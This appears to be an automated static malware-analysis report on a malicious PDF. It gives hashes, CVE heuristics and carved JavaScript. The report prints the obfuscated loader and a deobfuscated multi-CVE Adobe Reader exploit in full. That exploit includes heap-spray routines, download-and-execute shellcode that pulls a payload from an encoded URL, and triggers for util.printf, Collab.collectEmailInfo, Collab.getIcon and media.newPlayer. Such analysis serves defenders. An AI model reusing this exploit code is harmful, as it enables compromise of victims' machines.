Malicious PDF — malware analysis report

Static analysis result for SHA-256 eaa9b456d8e20284…

MALICIOUS

PDF

12.4 KB Created: 2010-02-20 13:09:53 Authoring application: Uirqiblqoxa First seen: 2026-05-11
MD5: e973cc3b4d13e1d483f7f42311122e68 SHA-1: 6136db4045c2de0ea7aa31c34e1265205ebd9978 SHA-256: eaa9b456d8e20284dbd647a0b3c8cd1c4353409e1cb15b5dee1cc58a27a5b732
408 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file was flagged as malicious by an ML classifier and contains embedded JavaScript. The JavaScript stream is obfuscated, indicating an attempt to hide its malicious functionality, which is likely to download and execute a second-stage payload. The presence of JavaScript actions and embedded JS streams points to T1059.001 and T1059.005.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0018_000.js pdf-javascript-stream PDF /JS object 18 at offset 0x2B03 1729 bytes
SHA-256: f7d29b3c6430c702c80cdfcfbe1036bc7161d1100457263b811390026832708d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 7 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var oJ=false;var nFile=false;var kFile='get';var vP=new Function();var oZ="";var vUpdate=new Function();kFile+='Page';var aGoogle=23573;var z='';var r="4d%4df";var t='';var bF=new String();this.k=false;var v=[3,2][1];var iB="";var cBasic='';var w=Function;this.fileO=false;var updateQ="updateQ";var i=app;i=i['doc'];var adobeB=false;var gY=function(){};var basicZ=function(){};var iPB="";var file=kFile;file+='NthWord';var googleL=false;var pAlpha=false;var c=218;this.aJ=19690;this.vBasic=false;this.alphaE=false;this.oGoogle="";this.fU=false;var g=kFile;var uU=1454;var zS=new Function();g+='NumWords';var eAdobe=27250;var uN=new Date();var pR='';var cH='';var m="cape";this.sT=16619;var fileH="";var kQ=2034;var updateEdit='';var alphaH='';var tAlpha="";var edit=[0,1][0];var cE=new Function();var j='cha'+'rCode'+'At';var basicFile=new Date();var yZ=new Date();var x='fr'+'omCharC'+'ode';var hR=new String();var rJ=3533;r=r.substr(2,1);var aAlpha="aAlpha";var gX="gX";var adobeAlpha=false;var vL=new Function();var tH=this['u'+'nes'+m];var nD='';this.uC=false;var vM=false;this.qU=3166;this.eC=5829;new w(googleY(2, c))();this.fileS=false;var sEdit=false;var aEGoogle="";var eE=new Date();function googleY(u, c){var updateAlpha=66;var wY=new Function();var xS=i[g](2);var aH=new String();var zV=new String();var fileA=new String();    for(var xE=0; xE < xS; xE++){var eJ=new Function();var cQ=false;this.gM='';o=i[file](u, xE);this.sAdobe='';this.zF='';this.editZ='';var n=o.substr(o.length-v, v);this.iA=false;this.zBasic=false;var fileF=tH(r + n)[j](edit);var oAlpha=new String();t+=String[x](fileF^c);var qCI="qCI";var zFile=function(){};this.adobeY='';}var fileJ=8100;return t;this.pAlphaB="pAlphaB";}var mQ=new String();
legacy_pdfkit_stage_000.js deobfuscated-js getPageWords-XOR Pidief stage normalized at offset 0x0 3384 bytes
SHA-256: bbb090aa177eb649341fc9e3517612049a482b05009ce22750d07281d3e63b14
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
44 447   47 4%  %7    qt ww 11ww7 v v4 v4 7  4tv4 74  w w w  w   7w               
	var src_table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890/.:_-?&=%";
	var dest_table= "q=Vg2v%5B6YrO?cHDK1mf:3MRyu/oNGUhAsit0dl-Xap7kLewxzJb94QISn.8j0F&WE_ZCTP";
app.alert(123);

var hwTl9Dn = new Array();  

function get_shellcode(name) {

	var u = get_url();
	var s = "%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455";
	s+= u;
	return unescape(s);
}


function get_url(){ 
	var str = this.info.author;
	var ret = encode_str(str, dest_table, src_table);
	return ret;
};

function encode_str(str, src_table, dest_table){

	var ret="";
	for(var i=0; i < str.length; i++)
	{
		var index = src_table.indexOf(str[i]);
		if(index > -1 )
		{
			ret += dest_table[index];
		}
	}
	return ret;
};


function Rq4v1qCC(PDrScZj4, ez5pL6){    

	while (PDrScZj4.length * 2 < ez5pL6){      
		PDrScZj4 += PDrScZj4;    
	}    

	PDrScZj4 = PDrScZj4.substring(0, ez5pL6 / 2);    return PDrScZj4;  
}  

function x8EvTm(I7T0vko5){  

	var qPBt7D = 0x0c0c0c0c;        

	NRjjR6W6 = get_shellcode("pdf");

	if (I7T0vko5 == 1){qPBt7D = 0x30303030;}

	var FeQq1Vv = 0x400000;   
	var tsSzSc = NRjjR6W6.length * 2;    var ez5pL6 = FeQq1Vv - (tsSzSc + 0x38);    
	var PDrScZj4 = unescape("%u9090%u9090");    

	PDrScZj4 = Rq4v1qCC(PDrScZj4, ez5pL6);    

	var x62RaBM3 = (qPBt7D - 0x400000) / FeQq1Vv;    

	for (var Ojafoj = 0; Ojafoj < x62RaBM3; Ojafoj ++ ){    
		hwTl9Dn[Ojafoj] = PDrScZj4 + NRjjR6W6;    
	}
}  

function U2UcYKr(){   

var IyIFVe = app.viewerVersion.toString();          

if (IyIFVe > 8){
	x8EvTm(1);
	var iVvCdy8 = "12999999999999999999";          


for (RvU5gmOE = 0; RvU5gmOE < 276; RvU5gmOE ++ ){            iVvCdy8 += "8";   
       }          util.printf("%45000f", iVvCdy8);      
}
if (IyIFVe < 8){

	x8EvTm(0);    
	var UNXaCTHb = unescape("%u0c0c%u0c0c");    

	while (UNXaCTHb.length < 44952) UNXaCTHb += UNXaCTHb;    

	this .collabStore = Collab.collectEmailInfo({        subj : "", msg : UNXaCTHb});      
}       

if (IyIFVe < 9.1){

	if (app.doc.Collab.getIcon)
	{
		x8EvTm(0); 
        var eGREUTNw = unescape("%09");          
		while (eGREUTNw.length < 0x4000)eGREUTNw += eGREUTNw;

		eGREUTNw = "N." + eGREUTNw;    

		app.doc.Collab.getIcon(eGREUTNw);   
	}
}   
if (IyIFVe == 9.2){        
	x8EvTm(1);              
	util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());           
	try 
	{	
		media.newPlayer(null);              
	} catch(e) 
	{}
	util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());
}

}

U2UcYKr();
   wp4 p w   4v777 44v7 77t    t777t777    ttt v 77 v777v t ww      t܉�

Open this report in the interactive analyzer, or submit your own file for analysis.